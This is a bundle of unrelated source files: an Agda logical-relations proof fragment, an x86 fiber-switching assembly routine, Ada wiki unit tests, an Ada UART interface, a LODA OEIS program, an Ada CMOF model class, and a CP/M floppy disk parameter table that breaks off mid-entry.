relV3 (σ ⇒ τ) (closure {Γ1} t1 ρ1) (closure dt dρ) (closure {Γ2} t2 ρ2) n =
Σ (Γ1 ≡ Γ2) λ { refl →
∀ (k : ℕ) (k<n : k < n) v1 dv v2 →
relV3 σ v1 dv v2 k →
relT3 t1 (app (weaken (drop (Δτ σ) • ≼-refl) dt) (var this)) t2 (v1 • ρ1) (dv • v1 • dρ) (v2 • ρ2) k
}
-- Relate λ x → 0 and λ x → 1 at any step count.
example1 : ∀ n → relV (nat ⇒ nat) (closure (const (lit 0)) ∅) (closure (const (lit 1)) ∅) n
example1 n = refl ,
λ { zero k<n v1 v2 x → tt
; (suc k) k<n v1 v2 x .(intV 0) .k n-j≤n refl → intV 1 , 0 , refl , (I.+ 1 , refl)
}
-- Relate λ x → 0 and λ x → x at any step count.
example2 : ∀ n → relV (nat ⇒ nat) (closure (const (lit 0)) ∅) (closure (var this) ∅) n
example2 n = refl ,
λ { zero k<n v1 v2 x → tt
; (suc k) k<n (intV v1) (intV v2) x .(intV 0) .k n-j≤n refl → intV v2 , 0 , refl , (I.+ v2 , cong I.+_ (+-identityʳ v2))
}
relρ : ∀ Γ (ρ1 ρ2 : ⟦ Γ ⟧Context) → ℕ → Set
relρ ∅ ∅ ∅ n = ⊤
relρ (τ • Γ) (v1 • ρ1) (v2 • ρ2) n = relV τ v1 v2 n × relρ Γ ρ1 ρ2 n
relV-mono : ∀ m n → m ≤ n → ∀ τ v1 v2 → relV τ v1 v2 n → relV τ v1 v2 m
relV-mono m n m≤n nat (intV v1) (intV v2) vv = vv
relV-mono m n m≤n (σ ⇒ τ) (closure t1 ρ1) (closure t2 ρ2) (refl , ff) = refl , λ k k≤m → ff k (≤-trans k≤m m≤n)
relρ-mono : ∀ m n → m ≤ n → ∀ Γ ρ1 ρ2 → relρ Γ ρ1 ρ2 n → relρ Γ ρ1 ρ2 m
relρ-mono m n m≤n ∅ ∅ ∅ tt = tt
relρ-mono m n m≤n (τ • Γ) (v1 • ρ1) (v2 • ρ2) (vv , ρρ) = relV-mono m n m≤n _ v1 v2 vv , relρ-mono m n m≤n Γ ρ1 ρ2 ρρ
fundamentalV : ∀ {Γ τ} (x : Var Γ τ) → (n : ℕ) → (ρ1 ρ2 : ⟦ Γ ⟧Context) (ρρ : relρ Γ ρ1 ρ2 n) → relT (var x) (var x) ρ1 ρ2 n
fundamentalV x zero ρ1 ρ2 ρρ = tt
fundamentalV this (suc n) (v1 • ρ1) (v2 • ρ2) (vv , ρρ) .v1 .n n-j≤n refl = v2 , zero , refl , vv
fundamentalV (that x) (suc n) (v1 • ρ1) (v2 • ρ2) (vv , ρρ) = fundamentalV x (suc n) ρ1 ρ2 ρρ
lt1 : ∀ {k n} → k < n → k ≤ n
lt1 (s≤s p) = ≤-step p
fundamental : ∀ {Γ τ} (t : Term Γ τ) → (n : ℕ) → (ρ1 ρ2 : ⟦ Γ ⟧Context) (ρρ : relρ Γ ρ1 ρ2 n) → relT t t ρ1 ρ2 n
fundamental t zero ρ1 ρ2 ρρ = tt
fundamental (var x) (suc n) ρ1 ρ2 ρρ = fundamentalV x (suc n) ρ1 ρ2 ρρ
fundamental (const (lit v)) (suc n) ρ1 ρ2 ρρ .(intV v) .n n-j≤n refl = intV v , zero , refl , I.+ zero , refl
fundamental (abs t) (suc n) ρ1 ρ2 ρρ .(closure t ρ1) .n n-j≤n refl = closure t ρ2 , zero , refl , refl , λ k k<n v1 v2 vv → fundamental t k (v1 • ρ1) (v2 • ρ2) (vv , relρ-mono k (suc n) (lt1 k<n) _ _ _ ρρ)
fundamental (app s t) (suc zero) ρ1 ρ2 ρρ v1 n-j n-j≤n ()
fundamental (app s t) (suc (suc n)) ρ1 ρ2 ρρ v1 n-j n-j≤n eq with eval s ρ1 n | inspect (eval s ρ1) n
fundamental (app s t) (suc (suc n)) ρ1 ρ2 ρρ v1 n-j n-j≤n eq | Done sv1 n1 | [ s1eq ] with eval-dec s _ _ n n1 s1eq | eval t ρ1 n1 | inspect (eval t ρ1) n1
fundamental (app s t) (suc (suc n)) ρ1 ρ2 ρρ v1 n-j n-j≤n eq | Done (closure st1 sρ1) n1 | [ s1eq ] | n1≤n | Done tv1 n2 | [ t1eq ] with eval-dec t _ _ n1 n2 t1eq
... | n2≤n1 with fundamental s (suc (suc n)) ρ1 ρ2 ρρ (closure st1 sρ1) (suc n1) (s≤s n1≤n) (eval-mono s ρ1 (closure st1 sρ1) n n1 s1eq)
| fundamental t (suc (suc n1)) ρ1 ρ2 (relρ-mono (suc (suc n1)) (suc (suc n)) (s≤s (s≤s n1≤n)) _ _ _ ρρ) tv1 (suc n2) (s≤s n2≤n1) (eval-mono t ρ1 tv1 n1 n2 t1eq)
... | sv2@(closure st2 sρ2) , sn3 , s2eq , refl , svv | tv2 , tn3 , t2eq , tvv with svv (suc n2) (s≤s (s≤s n2≤n1)) tv1 tv2 (relV-mono (suc n2) (suc (suc n2)) (s≤s (n≤1+n n2)) _ tv1 tv2 tvv) v1 n-j (eval-dec st1 _ _ _ _ eq) eq
... | v2 , n3 , eq2 , vv = v2 , suc (sn3 + (tn3 + n3)) , comp , vv
where
s2eq-adj : eval s ρ2 (sn3 + (tn3 + n3)) ≡ Done (closure st2 sρ2) (tn3 + n3)
s2eq-adj rewrite +-comm sn3 (tn3 + n3)| cong (Done (closure st2 sρ2)) (sym (+-identityʳ (tn3 + n3))) = eval-adjust-plus (tn3 + n3) s _ sv2 _ _ s2eq
t2eq-adj : eval t ρ2 (tn3 + n3) ≡ Done tv2 n3
t2eq-adj rewrite +-comm tn3 n3 | cong (Done tv2) (sym (+-identityʳ n3)) = eval-adjust-plus n3 t _ tv2 _ _ t2eq
comp : (eval s ρ2 >>= (λ sv → eval t ρ2 >>= apply sv))
(sn3 + (tn3 + n3))
≡ Done v2 0
comp rewrite s2eq-adj | t2eq-adj = eq2
fundamental (app s t) (suc (suc n)) ρ1 ρ2 ρρ v1 n-j n-j≤n () | Done sv1 n1 | [ s1eq ] | n1≤n | Error | [ t1eq ]
fundamental (app s t) (suc (suc n)) ρ1 ρ2 ρρ v1 n-j n-j≤n () | Done sv1 n1 | [ s1eq ] | n1≤n | TimeOut | [ t1eq ]
fundamental (app s t) (suc (suc n)) ρ1 ρ2 ρρ v1 n-j n-j≤n () | Error | [ s1eq ]
fundamental (app s t) (suc (suc n)) ρ1 ρ2 ρρ v1 n-j n-j≤n () | TimeOut | [ s1eq ]
|
src/fiber_asm_x86_win32.asm
|
rsmmr/fiber
| 56
|
83945
|
.MODEL flat, C
.CODE
PUBLIC fiber_asm_switch
PUBLIC fiber_asm_invoke
PUBLIC fiber_asm_exec_on_stack
fiber_asm_switch PROC
mov edx, [esp+4]
mov ecx, [esp+8]
mov [edx+0], esp
mov esp, [ecx+0]
mov [edx+4], ebp
mov ebp, [ecx+4]
mov [edx+8], ebx
mov ebx, [ecx+8]
mov [edx+12], edi
mov edi, [ecx+12]
mov [edx+16], esi
mov esi, [ecx+16]
ret
fiber_asm_switch ENDP
fiber_asm_invoke PROC
call [esp+4]
mov esp, [esp+8]
ret
fiber_asm_invoke ENDP
fiber_asm_exec_on_stack PROC
mov eax, esp
mov edx, [eax+4]
mov ecx, [eax+8]
mov esp, [eax+12]
sub esp, 12
mov [esp+4], eax
mov [esp], edx
call ecx
mov esp, [esp+4]
ret
fiber_asm_exec_on_stack ENDP
END
|
awa/plugins/awa-wikis/regtests/awa-wikis-tests.adb
|
twdroeger/ada-awa
| 0
|
7220
|
<filename>awa/plugins/awa-wikis/regtests/awa-wikis-tests.adb<gh_stars>0
-----------------------------------------------------------------------
-- awa-wikis-tests -- Unit tests for wikis module
-- Copyright (C) 2018, 2019 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Util.Test_Caller;
with Util.Strings;
with Servlet.Streams;
with ASF.Requests.Mockup;
with ASF.Responses.Mockup;
with ASF.Tests;
with AWA.Tests.Helpers.Users;
package body AWA.Wikis.Tests is
use Ada.Strings.Unbounded;
use AWA.Tests;
package Caller is new Util.Test_Caller (Test, "Wikis.Beans");
procedure Add_Tests (Suite : in Util.Tests.Access_Test_Suite) is
begin
Caller.Add_Test (Suite, "Test AWA.Wikis.Beans.Load_List (Anonymous)",
Test_Anonymous_Access'Access);
Caller.Add_Test (Suite, "Test AWA.Wikis.Beans.Save",
Test_Create_Wiki'Access);
Caller.Add_Test (Suite, "Test AWA.Wikis.Beans.Load (missing)",
Test_Missing_Page'Access);
end Add_Tests;
-- ------------------------------
-- Get some access on the wiki as anonymous users.
-- ------------------------------
procedure Verify_Anonymous (T : in out Test;
Page : in String;
Title : in String) is
pragma Unreferenced (Title);
function Get_Link (Title : in String) return String;
Wiki : constant String := To_String (T.Wiki_Ident);
Request : ASF.Requests.Mockup.Request;
Reply : ASF.Responses.Mockup.Response;
function Get_Link (Title : in String) return String is
Stream : Servlet.Streams.Print_Stream := Reply.Get_Output_Stream;
Content : Ada.Strings.Unbounded.Unbounded_String;
begin
Reply.Read_Content (Content);
Stream.Write (Content);
return AWA.Tests.Helpers.Extract_Link (To_String (Content), Title);
end Get_Link;
begin
ASF.Tests.Do_Get (Request, Reply, "/wikis/list/" & Wiki & "/recent",
"wiki-list-recent.html");
ASF.Tests.Assert_Contains (T, "List of pages", Reply,
"Wiki list recent page is invalid");
ASF.Tests.Do_Get (Request, Reply, "/wikis/tags/" & Wiki,
"wiki-list-tagged.html");
ASF.Tests.Assert_Contains (T, "List of pages", Reply,
"Wiki tag page is invalid");
if Page'Length > 0 then
ASF.Tests.Do_Get (Request, Reply, "/wikis/view/" & Wiki & "/" & Page,
"wiki-page-" & Page & ".html");
ASF.Tests.Assert_Contains (T, "The wiki page content", Reply,
"Wiki page " & Page & " is invalid");
declare
Info : constant String := Get_Link ("Info");
History : constant String := Get_Link ("History");
begin
Util.Tests.Assert_Matches (T, "/asfunit/wikis/info/[0-9]+/[0-9]+$", Info,
"Invalid wiki info link in the response");
Util.Tests.Assert_Matches (T, "/asfunit/wikis/history/[0-9]+/[0-9]+$", History,
"Invalid wiki history link in the response");
-- Get the information page.
ASF.Tests.Do_Get (Request, Reply, Info (Info'First + 8 .. Info'Last),
"wiki-info-" & Page & ".html");
ASF.Tests.Assert_Contains (T, "wiki-word-list", Reply,
"Wiki info page " & Page & " is invalid");
-- Get the history page.
ASF.Tests.Do_Get (Request, Reply, History (History'First + 8 .. History'Last),
"wiki-history-" & Page & ".html");
ASF.Tests.Assert_Contains (T, "wiki-page-version", Reply,
"Wiki history page " & Page & " is invalid");
end;
end if;
end Verify_Anonymous;
-- ------------------------------
-- Verify that the wiki lists contain the given page.
-- ------------------------------
procedure Verify_List_Contains (T : in out Test;
Page : in String) is
Wiki : constant String := To_String (T.Wiki_Ident);
Request : ASF.Requests.Mockup.Request;
Reply : ASF.Responses.Mockup.Response;
begin
ASF.Tests.Do_Get (Request, Reply, "/wikis/list/" & Wiki & "/recent",
"wiki-list-recent.html");
ASF.Tests.Assert_Contains (T, "List of pages", Reply,
"Wiki list recent page is invalid");
ASF.Tests.Assert_Contains (T, "/wikis/view/" & To_String (T.Wiki_Ident)
& "/" & Page, Reply,
"Wiki list recent page does not reference the page");
ASF.Tests.Do_Get (Request, Reply, "/wikis/list/" & Wiki & "/popular",
"wiki-list-popular.html");
ASF.Tests.Assert_Contains (T, "List of pages", Reply,
"Wiki list popular page is invalid");
ASF.Tests.Assert_Contains (T, "/wikis/view/" & To_String (T.Wiki_Ident)
& "/" & Page, Reply,
"Wiki list popular page does not reference the page");
ASF.Tests.Do_Get (Request, Reply, "/wikis/list/" & Wiki & "/name",
"wiki-list-name.html");
ASF.Tests.Assert_Contains (T, "List of pages", Reply,
"Wiki list name page is invalid");
ASF.Tests.Assert_Contains (T, "/wikis/view/" & To_String (T.Wiki_Ident)
& "/" & Page, Reply,
"Wiki list name page does not reference the page");
ASF.Tests.Do_Get (Request, Reply, "/wikis/list/" & Wiki & "/name/grid",
"wiki-list-name-grid.html");
ASF.Tests.Assert_Contains (T, "List of pages", Reply,
"Wiki list name/grid page is invalid");
ASF.Tests.Assert_Contains (T, "/wikis/view/" & To_String (T.Wiki_Ident)
& "/" & Page, Reply,
"Wiki list name/grid page does not reference the page");
end Verify_List_Contains;
-- ------------------------------
-- Test access to the blog as anonymous user.
-- ------------------------------
procedure Test_Anonymous_Access (T : in out Test) is
begin
T.Verify_Anonymous ("", "");
end Test_Anonymous_Access;
-- ------------------------------
-- Test creation of blog by simulating web requests.
-- ------------------------------
procedure Test_Create_Wiki (T : in out Test) is
procedure Create_Page (Name : in String; Title : in String);
Request : ASF.Requests.Mockup.Request;
Reply : ASF.Responses.Mockup.Response;
procedure Create_Page (Name : in String; Title : in String) is
begin
Request.Set_Parameter ("page-wiki-id", To_String (T.Wiki_Ident));
Request.Set_Parameter ("post", "1");
Request.Set_Parameter ("page-title", Title);
Request.Set_Parameter ("text", "# Main title" & ASCII.LF
& "* The wiki page content." & ASCII.LF
& "* Second item." & ASCII.LF);
Request.Set_Parameter ("name", Name);
Request.Set_Parameter ("comment", "Created wiki page " & Name);
Request.Set_Parameter ("save", "1");
Request.Set_Parameter ("page-is-public", "1");
Request.Set_Parameter ("wiki-format", "FORMAT_MARKDOWN");
ASF.Tests.Do_Post (Request, Reply, "/wikis/create.html", "create-wiki.html");
T.Page_Ident := Helpers.Extract_Redirect (Reply, "/asfunit/wikis/view/"
& To_String (T.Wiki_Ident) & "/");
Util.Tests.Assert_Equals (T, Name, To_String (T.Page_Ident),
"Invalid redirect after wiki page creation");
-- Remove the 'wikiPage' bean from the request so that we get a new instance
-- for the next call.
Request.Remove_Attribute ("wikiPage");
end Create_Page;
begin
AWA.Tests.Helpers.Users.Login ("<EMAIL>", Request);
Request.Set_Parameter ("title", "The Wiki Space Title");
Request.Set_Parameter ("post", "1");
Request.Set_Parameter ("create", "1");
ASF.Tests.Do_Post (Request, Reply, "/wikis/setup.html", "setup-wiki.html");
T.Assert (Reply.Get_Status = ASF.Responses.SC_MOVED_TEMPORARILY,
"Invalid response after wiki space creation");
declare
Ident : constant String
:= Helpers.Extract_Redirect (Reply, "/asfunit/wikis/list/");
Pos : constant Natural
:= Util.Strings.Index (Ident, '/');
begin
Util.Tests.Assert_Matches (T, "^[0-9]+/recent/grid$", Ident,
"Invalid wiki space identifier in the response");
T.Wiki_Ident := To_Unbounded_String (Ident (Ident'First .. Pos - 1));
end;
Create_Page ("WikiPageTestName", "Wiki page title1");
T.Verify_List_Contains (To_String (T.Page_Ident));
Create_Page ("WikiSecondPageName", "Wiki page title2");
T.Verify_List_Contains (To_String (T.Page_Ident));
Create_Page ("WikiThirdPageName", "Wiki page title3");
T.Verify_Anonymous ("WikiPageTestName", "Wiki page title1");
T.Verify_Anonymous ("WikiSecondPageName", "Wiki page title2");
T.Verify_Anonymous ("WikiThirdPageName", "Wiki page title3");
end Test_Create_Wiki;
-- ------------------------------
-- Test getting a wiki page which does not exist.
-- ------------------------------
procedure Test_Missing_Page (T : in out Test) is
Wiki : constant String := To_String (T.Wiki_Ident);
Request : ASF.Requests.Mockup.Request;
Reply : ASF.Responses.Mockup.Response;
begin
ASF.Tests.Do_Get (Request, Reply, "/wikis/view/" & Wiki & "/MissingPage",
"wiki-page-missing.html");
ASF.Tests.Assert_Matches (T, ".title.Wiki page does not exist./title.", Reply,
"Wiki page 'MissingPage' is invalid",
ASF.Responses.SC_NOT_FOUND);
ASF.Tests.Assert_Matches (T, ".h2.MissingPage./h2.", Reply,
"Wiki page 'MissingPage' header is invalid",
ASF.Responses.SC_NOT_FOUND);
end Test_Missing_Page;
end AWA.Wikis.Tests;
|
software/hal/hal/src/hal-uart.ads
|
TUM-EI-RCS/StratoX
| 12
|
20399
|
<reponame>TUM-EI-RCS/StratoX<gh_stars>10-100
package HAL.UART is
type UART_Status is
(Ok,
Err_Error,
Err_Timeout,
Busy);
type UART_Data_Size is
(Data_Size_8b,
Data_Size_9b);
type UART_Data_8b is array (Natural range <>) of Byte;
type UART_Data_9b is array (Natural range <>) of UInt9;
type UART_Port is limited interface;
type UART_Port_Ref is not null access all UART_Port'Class;
function Data_Size (Port : UART_Port) return UART_Data_Size is abstract;
procedure Transmit
(Port : in out UART_Port;
Data : UART_Data_8b;
Status : out UART_Status;
Timeout : Natural := 1000) is abstract
with
Pre'Class => Data_Size (Port) = Data_Size_8b;
procedure Transmit
(Port : in out UART_Port;
Data : UART_Data_9b;
Status : out UART_Status;
Timeout : Natural := 1000) is abstract
with
Pre'Class => Data_Size (Port) = Data_Size_9b;
procedure Receive
(Port : in out UART_Port;
Data : out UART_Data_8b;
Status : out UART_Status;
Timeout : Natural := 1000) is abstract
with
Pre'Class => Data_Size (Port) = Data_Size_8b;
procedure Receive
(Port : in out UART_Port;
Data : out UART_Data_9b;
Status : out UART_Status;
Timeout : Natural := 1000) is abstract
with
Pre'Class => Data_Size (Port) = Data_Size_9b;
end HAL.UART;
|
oeis/198/A198392.asm
|
neoneye/loda-programs
| 11
|
7541
|
<filename>oeis/198/A198392.asm
; A198392: a(n) = (6*n*(3*n+7)+(2*n+13)*(-1)^n+3)/16 + 1.
; Submitted by <NAME>(s2)
; 2,4,12,18,31,41,59,73,96,114,142,164,197,223,261,291,334,368,416,454,507,549,607,653,716,766,834,888,961,1019,1097,1159,1242,1308,1396,1466,1559,1633,1731,1809,1912,1994,2102,2188,2301,2391,2509,2603,2726,2824,2952,3054,3187,3293,3431,3541,3684,3798,3946,4064,4217,4339,4497,4623,4786,4916,5084,5218,5391,5529,5707,5849,6032,6178,6366,6516,6709,6863,7061,7219,7422,7584,7792,7958,8171,8341,8559,8733,8956,9134,9362,9544,9777,9963,10201,10391,10634,10828,11076,11274
mov $1,8
add $1,$0
div $1,2
bin $1,2
add $1,$0
mov $2,$0
mul $2,$0
add $1,$2
mov $0,$1
sub $0,4
|
source/amf/mof/cmof/amf-internals-cmof_named_elements.adb
|
svn2github/matreshka
| 24
|
12156
|
<reponame>svn2github/matreshka
------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Ada Modeling Framework --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2011-2012, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
with Matreshka.Internals.Strings;
with League.Strings.Internals;
with AMF.Internals.Helpers;
with AMF.Internals.Tables.CMOF_Attributes;
package body AMF.Internals.CMOF_Named_Elements is
use AMF.Internals.Tables.CMOF_Attributes;
use type Matreshka.Internals.Strings.Shared_String_Access;
--------------------
-- All_Namespaces --
--------------------
overriding function All_Namespaces
(Self : not null access constant CMOF_Named_Element_Proxy)
return AMF.CMOF.Namespaces.Collections.Ordered_Set_Of_CMOF_Namespace
is
-- [UML 2.4.1] 7.3.34 NamedElement (from Kernel, Dependencies)
--
-- [1] The query allNamespaces() gives the sequence of namespaces in
-- which the NamedElement is nested, working outwards.
--
-- NamedElement::allNamespaces(): Sequence(Namespace);
--
-- allNamespaces =
-- if self.namespace->isEmpty()
-- then Sequence{}
-- else self.namespace.allNamespaces()->prepend(self.namespace)
-- endif
use type AMF.CMOF.Namespaces.CMOF_Namespace_Access;
The_Namespace : AMF.CMOF.Namespaces.CMOF_Namespace_Access
:= CMOF_Named_Element_Proxy'Class (Self.all).Get_Namespace;
begin
return Result :
AMF.CMOF.Namespaces.Collections.Ordered_Set_Of_CMOF_Namespace
do
while The_Namespace /= null loop
Result.Add (The_Namespace);
The_Namespace := The_Namespace.Get_Namespace;
end loop;
end return;
end All_Namespaces;
--------------
-- Get_Name --
--------------
overriding function Get_Name
(Self : not null access constant CMOF_Named_Element_Proxy)
return Optional_String
is
Aux : constant Matreshka.Internals.Strings.Shared_String_Access
:= Internal_Get_Name (Self.Element);
begin
if Aux = null then
return (Is_Empty => True);
else
return (False, League.Strings.Internals.Create (Aux));
end if;
end Get_Name;
-------------------
-- Get_Namespace --
-------------------
overriding function Get_Namespace
(Self : not null access constant CMOF_Named_Element_Proxy)
return AMF.CMOF.Namespaces.CMOF_Namespace_Access is
begin
return
AMF.CMOF.Namespaces.CMOF_Namespace_Access
(AMF.Internals.Helpers.To_Element
(Internal_Get_Namespace (Self.Element)));
end Get_Namespace;
--------------------
-- Get_Visibility --
--------------------
overriding function Get_Visibility
(Self : not null access constant CMOF_Named_Element_Proxy)
return AMF.CMOF.Optional_CMOF_Visibility_Kind is
begin
return Internal_Get_Visibility (Self.Element);
end Get_Visibility;
--------------------
-- Qualified_Name --
--------------------
overriding function Qualified_Name
(Self : not null access constant CMOF_Named_Element_Proxy)
return League.Strings.Universal_String
is
-- [UML 2.4.1] 7.3.34 NamedElement (from Kernel, Dependencies)
--
-- Constraints
-- [1] If there is no name, or one of the containing namespaces has no
-- name, there is no qualified name.
--
-- (self.name->isEmpty()
-- or self.allNamespaces()->select
-- (ns | ns.name->isEmpty())->notEmpty())
-- implies self.qualifiedName->isEmpty()
--
-- [2] When there is a name, and all of the containing namespaces have a
-- name, the qualified name is constructed from the names of the
-- containing namespaces.
--
-- (self.name->notEmpty()
-- and self.allNamespaces()->select
-- (ns | ns.name->isEmpty())->isEmpty())
-- implies
-- self.qualifiedName =
-- self.allNamespaces()->iterate
-- ( ns : Namespace; result: String = self.name |
-- ns.name->union(self.separator())->union(result))
Namespaces : constant
AMF.CMOF.Namespaces.Collections.Ordered_Set_Of_CMOF_Namespace
:= CMOF_Named_Element_Proxy'Class (Self.all).All_Namespaces;
Separator : constant League.Strings.Universal_String
:= CMOF_Named_Element_Proxy'Class (Self.all).Separator;
Name : AMF.Optional_String
:= CMOF_Named_Element_Proxy'Class (Self.all).Get_Name;
begin
if Name.Is_Empty then
return League.Strings.Empty_Universal_String;
end if;
return Result : League.Strings.Universal_String := Name.Value do
for J in 1 .. Namespaces.Length loop
Name := Namespaces.Element (J).Get_Name;
if Name.Is_Empty then
-- When name of one of owning namespaces is empty the qualified
-- name is empty also. Clear result and exit from namespaces
-- loop.
Result.Clear;
exit;
else
-- Otherwise prepend separator and name of the namespace.
Result.Prepend (Separator);
Result.Prepend (Name.Value);
end if;
end loop;
end return;
end Qualified_Name;
---------------
-- Separator --
---------------
overriding function Separator
(Self : not null access constant CMOF_Named_Element_Proxy)
return League.Strings.Universal_String
is
pragma Unreferenced (Self);
begin
return League.Strings.To_Universal_String ("::");
end Separator;
--------------
-- Set_Name --
--------------
overriding procedure Set_Name
(Self : not null access CMOF_Named_Element_Proxy;
To : Optional_String) is
begin
if To.Is_Empty then
Internal_Set_Name (Self.Element, null);
else
Internal_Set_Name
(Self.Element, League.Strings.Internals.Internal (To.Value));
end if;
end Set_Name;
--------------------
-- Set_Visibility --
--------------------
overriding procedure Set_Visibility
(Self : not null access CMOF_Named_Element_Proxy;
To : AMF.CMOF.Optional_CMOF_Visibility_Kind) is
begin
Internal_Set_Visibility (Self.Element, To);
end Set_Visibility;
end AMF.Internals.CMOF_Named_Elements;
|
bios_fdc_30/disk_params.asm
|
ncb85/NCB85V2-BIOS
| 4
|
175990
|
;------------------------------------------------------------------------------
; DEFW spt ;Number of 128-byte records per track
; DEFB bsh ;Block shift. 3 => 1k, 4 => 2k, 5 => 4k....
; DEFB blm ;Block mask. 7 => 1k, 0Fh => 2k, 1Fh => 4k...
; DEFB exm ;Extent mask, see later
; DEFW dsm ;(no. of blocks on the disc)-1
; DEFW drm ;(no. of directory entries)-1
; DEFB al0 ;Directory allocation bitmap, first byte
; DEFB al1 ;Directory allocation bitmap, second byte
; DEFW cks ;Checksum vector size, 0 for a fixed disc
; ;No. directory entries/4, rounded up.
; DEFW off ;Offset, number of reserved tracks
;
; The directory allocation bitmap is interpreted as:
; al0 al1
; b7b6b5b4b3b2b1b0 b7b6b5b4b3b2b1b0
; 1 1 1 1 0 0 0 0 0 0 0 0 0 0 0 0
; ie, in this example, the first 4 blocks of the disc contain the directory.
;------------------------------------------------------------------------------
; Disk parameters
DPH:
dw 0,0 ; no translation table
dw 0,0
dw DIRBUF,DPB0 ; buff.adr., disk param adr.
dw CSV0,ALV0 ; checksum zone adr., alloc.bit map adr.
dw 0,0 ; no translation table
dw 0,0
dw DIRBUF,DPB0 ; buff.adr., disk param adr.
dw CSV1,ALV1 ; checksum zone adr., alloc.bit map adr.
if (NumFlps==3)
dw 0,0 ; no translation table
dw 0,0
if (Extra==Floppy)
dw DIRBUF,DPB0 ; buff.adr., disk param adr.
else
dw DIRBUF,DPB2 ; buff.adr., disk param adr.
endif
dw CSV2,ALV2 ; checksum zone adr., alloc.bit map adr.
endif
;
DPB0:
; Diskette 5,25" DD, 360kB(DOS and CP/M)
; 40 tracks(two side), 18 (256 byte) sectors per track/side, 1440 sectors totally
; 180(175) allocation 2kB blocks (first track reserved for system)
; 64 dir size (1x16x4) - dir is saved in 1 allocation blocks
; 0 system track
if (Floppy==360)
dw 72 ; SPT - logical sectors per track
db 4 ; BSH - posun bloku
db 15 ; BLM - block mask
db 1 ; EXM - ext.mask, 32kB per extent
dw 179 ; DSM - capacity-1 - full 360kB
dw 63 ; DRM - dir size-1
db 128 ; AL0 - dir allocation mask
db 0 ; AL1
dw 16 ; CKS - checksum array size
dw 0 ; OFF - system tracks - no system track
endif
; Diskette 5,25" DD, 720kB(DOS and CP/M)
; 80 tracks(two side), 18 (256 byte) sectors per track/side, 2880 sectors totally
; 360(350) allocation 2kB blocks (first track reserved for system)
; 64 dir size (1x16x4) - dir is saved in 1 allocation blocks
; 0 system track
if (Floppy==720)
dw 72 ; SPT - logical sectors per track
db 4 ; BSH - posun bloku
db 15 ; BLM - block mask
db 0 ; EXM - ext.mask, 16kB per extent
dw 359 ; DSM - capacity-1 - full 720kB
dw 63 ; DRM - dir size-1
db 128 ; AL0 - dir allocation mask
db 0 ; AL1
dw 16 ; CKS - checksum array size
dw 0 ; OFF - system tracks - no system track
endif
; Diskette 5,25" HD
; 5.25" / 1.2MB(DOS) / 1.04MB(CP/M)
; 80 tracks(two side), 26 (256 byte) sectors per track/side, 4160 sectors totally
; 520(513) allocation 2kB blocks (first track reserved for system)
; 128 dir size (2x16x4) - dir is saved in 2 allocation blocks (16log.secs per block, 4dir entries per sec.)
; 0 system track(s)
if (Floppy==120)
dw 104 ; SPT - logical sectors per track
db 4 ; BSH - block shift
db 15 ; BLM - block mask
db 0 ; EXM - ext.mask
dw 519 ; DSM - capacity-1
dw 127 ; DRM - dir size-1
db 192 ; AL0 - dir allocation mask
db 0 ; AL1
dw 32 ; CKS - checksum array size
dw 0 ; OFF - system tracks
endif
; Diskette 3,5" HD
; 3.5" / 1.44MB(DOS) / 1.28MB(CP/M)
; 80 tracks(two side), 32 (256 byte) sectors per track/side, 5120 sectors totally
; 640(632) allocation 2kB blocks (first track reserved for system)
; 256 dir size (4x16x4) - dir is saved in 4 allocation blocks
; 0 system track
if (Floppy==144)
dw 128 ; SPT - logical sectors per track
db 4 ; BSH - block shift
db 15 ; BLM - block mask
db 0 ; EXM - ext.mask
dw 639 ; DSM - capacity-1
dw 255 ; DRM - dir size-1
db 240 ; AL0 - dir allocation mask
db 0 ; AL1
dw 64 ; CKS - checksum array size
dw 0 ; OFF - system tracks
endif
; Diskette 8" DS/DD, 1.0MB
; 77 tracks(two side), 26 (256 byte) sectors per track/side, 4004 sectors totally
; 500(492) allocation 2kB blocks (first track reserved for system)
; 128 dir size (2x16x4) - dir is saved in 2 allocation blocks
; 0 system track
if (Floppy==100)
dw 104 ; SPT - logical sectors per track
db 4 ; BSH - block shift
db 15 ; BLM - block mask
db 0 ; EXM - ext.mask
dw 499 ; DSM - capacity-1
dw 255 ; DRM - dir size-1
db 240 ; AL0 - dir allocation mask
